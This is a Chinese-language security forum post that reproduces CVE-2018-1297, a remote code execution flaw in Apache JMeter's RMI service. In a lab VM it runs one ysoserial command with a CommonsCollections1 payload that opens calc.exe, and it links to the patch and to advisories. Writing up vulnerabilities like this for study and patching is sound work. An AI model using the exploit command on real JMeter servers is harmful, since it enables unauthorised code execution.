Jmeter_RMI漏洞复现—【CVE-2018-1297】

5ecu**** / 2018-03-01 13:49:46 / 浏览数 12078 安全技术 漏洞分析 顶(1) 踩(0)

1.1. 漏洞简介

Apache JMeter是美国阿帕奇（Apache）软件基金会的一套使用Java语言编写的用于压力测试和性能测试的开源软件。

Apache JMeter 2.x版本和3.x版本中存在安全漏洞。攻击者可利用该漏洞获取JMeterEngine的访问权限并发送未授权的代码。

1.2. 复现过程

目标环境：虚拟机windows server 2008 R2、 jre 1.8.0_66

IP: 192.168.153.132

受影响版本为Apache JMeter 2.x版本和3.x ，这里选取了jmeter-2.13，JMeter历史版本下载地址为：http://archive.apache.org/dist/jmeter/binaries/

运行jmeter-server.bat即可启动JMeter服务，RMI 1099端口同时已经开启：

使用ysoserial对目标发送具有指定payload的数据包：

```
java -cp ysoserial-0.0.5-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 192.168.153.132 1099 CommonsCollections1 "calc.
```

目标已经执行了calc.exe程序：

1.3. 漏洞修复

目前厂商已发布升级补丁以修复漏洞，补丁获取链接：

https://bz.apache.org/bugzilla/show_bug.cgi?id=62039

1.4. 参考链接

http://mail-archives.apache.org/mod_mbox/www-announce/201802.mbox/%3CCAH9fUpaNzk5am8oFe07RQ-kynCsQv54yB-uYs9bEnz7tbX-O7g%40mail.gmai

http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201802-536

https://bz.apache.org/bugzilla/show_bug.cgi?id=62039

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1297

https://github.com/frohoff/ysoserial

上一篇：Burpsuite自带小功能分享 下一篇：讨论一下绕过gd库上传图片马的方法

1. 0 条回复

- 动动手指，沙发就是你的了！